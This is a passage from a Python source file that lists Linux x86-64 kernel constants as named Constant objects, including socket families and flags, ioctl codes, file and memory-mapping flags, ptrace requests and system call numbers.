Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_ACCMODE = Constant('O_ACCMODE',0o003)\nO_RDONLY = Constant('O_RDONLY',0o0)\nO_WRONLY = Constant('O_WRONLY',0o1)\nO_RDWR = Constant('O_RDWR',0o2)\nO_CREAT = Constant('O_CREAT',0o100)\nO_EXCL = Constant('O_EXCL',0o200)\nO_NOCTTY = Constant('O_NOCTTY',0o400)\nO_TRUNC = Constant('O_TRUNC',0o1000)\nO_APPEND = Constant('O_APPEND',0o2000)\nO_NONBLOCK = Constant('O_NONBLOCK',0o4000)\nO_NDELAY = Constant('O_NDELAY',0o4000)\nO_DSYNC = Constant('O_DSYNC',0o10000)\nFASYNC = Constant('FASYNC',0o20000)\nO_DIRECT = Constant('O_DIRECT',0o40000)\nO_LARGEFILE = Constant('O_LARGEFILE',0o100000)\nO_DIRECTORY = Constant('O_DIRECTORY',0o200000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0o400000)\nO_NOATIME = Constant('O_NOATIME',0o1000000)\nO_CLOEXEC = Constant('O_CLOEXEC',0o2000000)\nO_SYNC = Constant('O_SYNC',(0o10000|0o4000000))\nO_PATH = Constant('O_PATH',0o10000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0o20000000)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETLK = Constant('F_GETLK',5)\nF_SETLK = Constant('F_SETLK',6)\nF_SETLKW = Constant('F_SETLKW',7)\nF_SETOWN = Constant('F_SETOWN',8)\nF_GETOWN = Constant('F_GETOWN',9)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nF_GETLK64 = Constant('F_GETLK64',12)\nF_SETLK64 = Constant('F_SETLK64',13)\nF_SETLKW64 = Constant('F_SETLKW64',14)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',0)\nF_WRLCK = Constant('F_WRLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_EXLCK = Constant('F_EXLCK',4)\nF_SHLCK = Constant('F_SHLCK',8)\nF_INPROGRESS = Constant('F_INPROGRESS',16)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o200000))\nO_ASYNC = Constant('O_ASYNC',0o20000)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x10)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000)\nMAP_LOCKED = Constant('MAP_LOCKED',0x2000)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x4000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x8000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000)\nMAP_STACK = Constant('MAP_STACK',0x20000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x40000)\nMS_ASYNC = Constant('MS_ASYNC',1)\nMS_INVALIDATE = Constant('MS_INVALIDATE',2)\nMS_SYNC = Constant('MS_SYNC',4)\nMCL_CURRENT = Constant('MCL_CURRENT',1)\nMCL_FUTURE = Constant('MCL_FUTURE',2)\nMCL_ONFAULT = Constant('MCL_ONFAULT',4)\nMADV_NORMAL = Constant('MADV_NORMAL',0x0)\nMADV_RANDOM = Constant('MADV_RANDOM',0x1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',0x3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',0x4)\nMAP_ANON = Constant('MAP_ANON',0x20)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nSYS_accept = Constant('SYS_accept',43)\nSYS_accept4 = Constant('SYS_accept4',288)\nSYS_access = Constant('SYS_access',21)\nSYS_acct = Constant('SYS_acct',163)\nSYS_add_key = Constant('SYS_add_key',248)\nSYS_adjtimex = Constant('SYS_adjtimex',159)\nSYS_afs_syscall = Constant('SYS_afs_syscall',183)\nSYS_alarm = Constant('SYS_alarm',37)\nSYS_arch_prctl = Constant('SYS_arch_prctl',158)\nSYS_bind = Constant('SYS_bind',49)\nSYS_bpf = Constant('SYS_bpf',321)\nSYS_brk = Constant('SYS_brk',12)\nSYS_capget = Constant('SYS_capget',125)\nSYS_capset = Constant('SYS_capset',126)\nSYS_chdir = Constant('SYS_chdir',80)\nSYS_chmod = Constant('SYS_chmod',90)\nSYS_chown = Constant('SYS_chown',92)\nSYS_chroot = Constant('SYS_chroot',161)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',305)\nSYS_clock_getres = Constant('SYS_clock_getres',229)\nSYS_clock_gettime = Constant('SYS_clock_gettime',228)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',230)\nSYS_clock_settime = Constant('SYS_clock_settime',227)\nSYS_clone = Constant('SYS_clone',56)\nSYS_clone3 = Constant('SYS_clone3',435)\nSYS_close = Constant('SYS_close',3)\nSYS_connect = Constant('SYS_connect',42)\nSYS_copy_file_range = Constant('SYS_copy_file_range',326)\nSYS_creat = Constant('SYS_creat',85)\nSYS_create_module = Constant('SYS_create_module',174)\nSYS_delete_module = Constant('SYS_delete_module',176)\nSYS_dup = Constant('SYS_dup',32)\nSYS_dup2 = Constant('SYS_dup2',33)\nSYS_dup3 = Constant('SYS_dup3',292)\nSYS_epoll_create = Constant('SYS_epoll_create',213)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',291)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',233)\nSYS_epoll_ctl_old = Constant('SYS_epoll_ctl_old',214)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',281)\nSYS_epoll_wait = Constant('SYS_epoll_wait',232)\nSYS_epoll_wait_old = Constant('SYS_epoll_wait_old',215)\nSYS_eventfd = Constant('SYS_eventfd',284)\nSYS_eventfd2 = Constant('SYS_eventfd2',290)\nSYS_execve = Constant('SYS_execve',59)\nSYS_execveat = Constant('SYS_execveat',322)\nSYS_exit = Constant('SYS_exit',60)\nSYS_exit_group = Constant('SYS_exit_group',231)\nSYS_faccessat = Constant('SYS_faccessat',269)\nSYS_fadvise64 = Constant('SYS_fadvise64',221)\nSYS_fallocate = Constant('SYS_fallocate',285)\nSYS_fanotify_init = Constant('SYS_fanotify_init',300)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',301)\nSYS_fchdir = Constant('SYS_fchdir',81)\nSYS_fchmod = Constant('SYS_fchmod',91)\nSYS_fchmodat = Constant('SYS_fchmodat',268)\nSYS_fchown = Constant('SYS_fchown',93)\nSYS_fchownat = Constant('SYS_fchownat',260)\nSYS_fcntl = Constant('SYS_fcntl',72)\nSYS_fdatasync = Constant('SYS_fdatasync',75)\nSYS_fgetxattr = Constant('SYS_fgetxattr',193)\nSYS_finit_module = Constant('SYS_finit_module',313)\nSYS_flistxattr = Constant('SYS_flistxattr',196)\nSYS_flock = Constant('SYS_flock',73)\nSYS_fork = Constant('SYS_fork',57)\nSYS_fremovexattr = Constant('SYS_fremovexattr',199)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',190)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',5)\nSYS_fstatfs = Constant('SYS_fstatfs',138)\nSYS_fsync = Constant('SYS_fsync',74)\nSYS_ftruncate = Constant('SYS_ftruncate',77)\nSYS_futex = Constant('SYS_futex',202)\nSYS_futimesat = Constant('SYS_futimesat',261)\nSYS_getcpu = Constant('SYS_getcpu',309)\nSYS_getcwd = Constant('SYS_getcwd',79)\nSYS_getdents = Constant('SYS_getdents',78)\nSYS_getdents64 = Constant('SYS_getdents64',217)\nSYS_getegid = Constant('SYS_getegid',108)\nSYS_geteuid = Constant('SYS_geteuid',107)\nSYS_getgid = Constant('SYS_getgid',104)\nSYS_getgroups = Constant('SYS_getgroups',115)\nSYS_getitimer = Constant('SYS_getitimer',36)\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',177)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',239)\nSYS_getpeername = Constant('SYS_getpeername',52)\nSYS_getpgid = Constant('SYS_getpgid',121)\nSYS_getpgrp = Constant('SYS_getpgrp',111)\nSYS_getpid = Constant('SYS_getpid',39)\nSYS_getpmsg = Constant('SYS_getpmsg',181)\nSYS_getppid = Constant('SYS_getppid',110)\nSYS_getpriority = Constant('SYS_getpriority',140)\nSYS_getrandom = Constant('SYS_getrandom',318)\nSYS_getresgid = Constant('SYS_getresgid',120)\nSYS_getresuid = Constant('SYS_getresuid',118)\nSYS_getrlimit = Constant('SYS_getrlimit',97)\nSYS_get_robust_list = Constant('SYS_get_robust_list',274)\nSYS_getrusage = Constant('SYS_getrusage',98)\nSYS_getsid = Constant('SYS_getsid',124)\nSYS_getsockname = Constant('SYS_getsockname',51)\nSYS_getsockopt = Constant('SYS_getsockopt',55)\nSYS_get_thread_area = Constant('SYS_get_thread_area',211)\nSYS_gettid = Constant('SYS_gettid',186)\nSYS_gettimeofday = Constant('SYS_gettimeofday',96)\nSYS_getuid = Constant('SYS_getuid',102)\nSYS_getxattr = Constant('SYS_getxattr',191)\nSYS_init_module = Constant('SYS_init_module',175)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',254)\nSYS_inotify_init = Constant('SYS_inotify_init',253)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',294)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',255)\nSYS_io_cancel = Constant('SYS_io_cancel',210)\nSYS_ioctl = Constant('SYS_ioctl',16)\nSYS_io_destroy = Constant('SYS_io_destroy',207)\nSYS_io_getevents = Constant('SYS_io_getevents',208)\nSYS_ioperm = Constant('SYS_ioperm',173)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',333)\nSYS_iopl = Constant('SYS_iopl',172)\nSYS_ioprio_get = Constant('SYS_ioprio_get',252)\nSYS_ioprio_set = Constant('SYS_ioprio_set',251)\nSYS_io_setup = Constant('SYS_io_setup',206)\nSYS_io_submit = Constant('SYS_io_submit',209)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_kcmp = Constant('SYS_kcmp',312)\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',320)\nSYS_kexec_load = Constant('SYS_kexec_load',246)\nSYS_keyctl = Constant('SYS_keyctl',250)\nSYS_kill = Constant('SYS_kill',62)\nSYS_lchown = Constant('SYS_lchown',94)\nSYS_lgetxattr = Constant('SYS_lgetxattr',192)\nSYS_link = Constant('SYS_link',86)\nSYS_linkat = Constant('SYS_linkat',265)\nSYS_listen = Constant('SYS_listen',50)\nSYS_listxattr = Constant('SYS_listxattr',194)\nSYS_llistxattr = Constant('SYS_llistxattr',195)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',212)\nSYS_lremovexattr = Constant('SYS_lremovexattr',198)\nSYS_lseek = Constant('SYS_lseek',8)\nSYS_lsetxattr = Constant('SYS_lsetxattr',189)\nSYS_lstat = Constant('SYS_lstat',6)\nSYS_madvise = Constant('SYS_madvise',28)\nSYS_mbind = 